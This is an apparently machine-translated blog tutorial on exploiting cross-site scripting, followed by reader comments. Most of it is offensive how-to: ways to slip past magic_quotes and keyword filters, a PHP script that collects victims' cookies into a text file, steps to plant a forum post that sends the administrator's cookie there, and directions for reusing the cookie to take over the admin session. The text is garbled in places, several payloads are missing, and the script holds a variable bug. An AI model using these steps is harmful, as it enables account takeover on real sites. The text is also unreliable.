Last updated: August 16, 2024
In this post, I will tell you about the cross-site scripting flaw, abbreviated XSS. We will see together how to exploit this flaw and of course how to protect yourself from it.
Before starting, I must clarify one thing: many people are thinking that this flaw is useless. Well that's wrong. Believe me, the XSS flaw is dangerous, of course you will not be able to take control of a server with this flaw but it makes it easier for other types of attacks. You just have to know how to use it.
What is The XSS Flaw?
La XSS flaw, originally CSS (Cross Site Scripting) changed not to be confused with Cascading Style Sheet CSS, is a type of website security vulnerability, which is found in badly web applications. secured.
The principle of this flaw is to inject malicious code in javascript language into a vulnerable website. For example by posting a message in a forum which redirects the Internet user to a fake site (Phishing) or who steals their information (cookies).
La XSS flaw allows you to run scripts on the client side. This means that you can only run JAVASCRIPT, HTML and other languages which will only run at the person running the script and not on the server directly. I let your imagination give you ideas.
How to detect the presence of an XSS flaw?
The XSS are widespread on the web, more specifically in forums, web applications and search engines.
Detection of the presence of XSS flaw can be done for example by entering a JavaScript script in a form field or in a URL:
If a dialog box appears, it can be concluded that the web application is susceptible to XSS attacks.
To fully understand the principle, nothing beats an example.
Assume the following code:
<?php if (isset($_GET['searchword']))
{
echo "You are looking for the following word: ".$_GET['search_word'];
}?>Search:
On a web browser this would give:
How to bypass XSS filters?
In reality, it doesn't always work that way. Web developers are aware of this attack, so they have developed methods to secure their web applications against this vulnerability. I can for example quote magic_quote_gpc.
In this part, I'll show you how to bypass some filters used by developers to secure web applications:
Magic_quotes_gpc filter
When the magic_quotes function is activated, all the characters' (apostrophes), "(quotes), (backslash) and NULL are replaced by a backslash. The" magic_quotes_gpc "function is used to protect the data sent by the methods" GET "," POST.
For example if I enter the following code in the search bar and click send:
He becomes:
So how do you get around this filter? Just use the javascript function called String.fromCharCode ().
This function will convert our text to decimal characters.
For this I will use Hackbar, a Firefox plugin.
Using "hack" (without quotes) will look like this:
Miracle it works!
Obfuscation Technique
This filter, for example, blocks the following words:
- script
- alert
Here if we put alert(‘Hack’) the site will give us as a message alert () because he will remove all the et .
To bypass this filter, we'll just switch par et alert par alealertrt
like this :
Once the banners are removed it gives us:
And it still works!
There is a Firefox plugin, XSS ME specializing in finding this type of vulnerability.
How to exploit an XSS vulnerability?
Okay so, as we have just seen, the flaws XSS run on the client side. So to trap a target we have to make the site administrator run our script himself. And after, we have to retrieve his cookie.
So to exploit the XSS flaw, we need a PHP script that will retrieve the value of the $ cookie variable and write it to a .txt file.
For that, create a file under the name xss.php and put the following code:
$cookie = $_GET['a']; // we recognize a as a GET variable
if($cookie)
{
$fp = fopen('cookies.txt','a'); // Open cookies.txt for editing
fputs($fp,$cook . 'rn');// We write the content of the cookie on a new line
fclose($fp); // We close the cookies.txt file
}?>
location.replace('http://www.google.fr);
// Redirect the target to google.fr so that he doesn't suspect anything
Save the xss.php file, then put it on an FTP server which supports PHP. Here our script is in place, it only remains to test it.
Imagine that by testing the techniques mentioned above on a forum, where you are a member, you detect the presence of an XSS vulnerability and you want to use the PHP script that we have created.
How to do ?
You simply post a message on the forum containing the following text:
By seeing the code, we understand perfectly that there is? A =, it is the variable $ _GET ['a'] of our code.
document.cookie represents the victim's cookie.
You have just retrieved the forum admin cookie, but what to do with it?
At this time, many people think that XSS vulnerabilities are not dangerous, but they are largely mistaken.
Once you have retrieved a cookie, you will be able to put in your folder with your cookies. Then restart your web browser and you could access the admin session without needing a password.
Protect yourself from the XSS vulnerability
Several techniques allow you to protect yourself from the XSS flaw:
- The htmlspecialchars () function converts special characters to HTML entities.
- htmlentities () which is identical to htmlspecialchars () except that it filters all characters equivalent to html or javascript encoding.
- strip_tags (), this function removes all tags.
I hope you can learn something from this article, and understand the danger of the XSS flaw!
Otherwise, consider sharing this post on Facebook ou Twitter, that would really make me happy! 😉
Well I'm late but I thought it might help,
The thing is that the method
window.open(—);
Opens a popup window in the browser and most current web browsers worthy of the name (with protection against intrusive ads) automatically block the opening of a popup window. So very often, this could not be used, unless the user himself forced the browser to change his habit.
Wow!!!! While reading the article, I saw that I had forgotten to secure a page of my site, in addition, a public page...
Great article otherwise 🙂
Hello Lucas,
You are wrong. It is this blog that copies all new articles from our blog FunInformatique.
To check it, go to the article you posted in the comment, you find keywords in red with links pointing to FunInformatique. Like phishing, hackbar and other keywords.
The same is true for other items.
cordially
This flaw is becoming more and more unusable, it is not easily exploitable, especially for social networks and co. I don't know if someone recently released a new flaw, but all I know is that it is being fixed faster and faster, cyber criminals are finding it more and more difficult to overcome it
Hi Ahmad! Nice article, but for hacking, you must also be wary of SQL injections! Even if the XSS flaw is quite easy to exploit, especially on novice sites. 🙂
This article is from a very long time ago, I wonder if Mr Ahmed is still up to date, in any case my question is: how to recover the cookie (as a file) and put it in my cookies, where are the cookies located, I only know the IE folder and it's already a hassle to access it (permission of Windows), I was only able to recover the cookie values (thanks to $_COOKIE) and when I overwrite the PHPSESSID vAriable with the one recovered I do not recover the session in question (I test in localhost and by different browser for two sessions different).
Thanks for the answer
Hi Mohamed,
To retrieve a cookie from a website, you type in the address bar: javascript:document.cookie
To use the retrieved cookie in a firefox browser, you can use the cookie injector script.
but before that you have to install the greasemonkey firefox addon on: https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/?src=search
Greasemonkey allows you to run scripts in JavaScript on different web pages.
After installing the greasemonkey and adding the cookie injector, you type the ALT + C key in the browser. Finally, you paste the cookie that you have retrieved in the displayed window.
yes, okay that's to recover your own cookies, but what is less logical is how to execute the script that recovers the cookies to the administrator or users of the vulnerable site? aren't they going to do it on their own anyway?!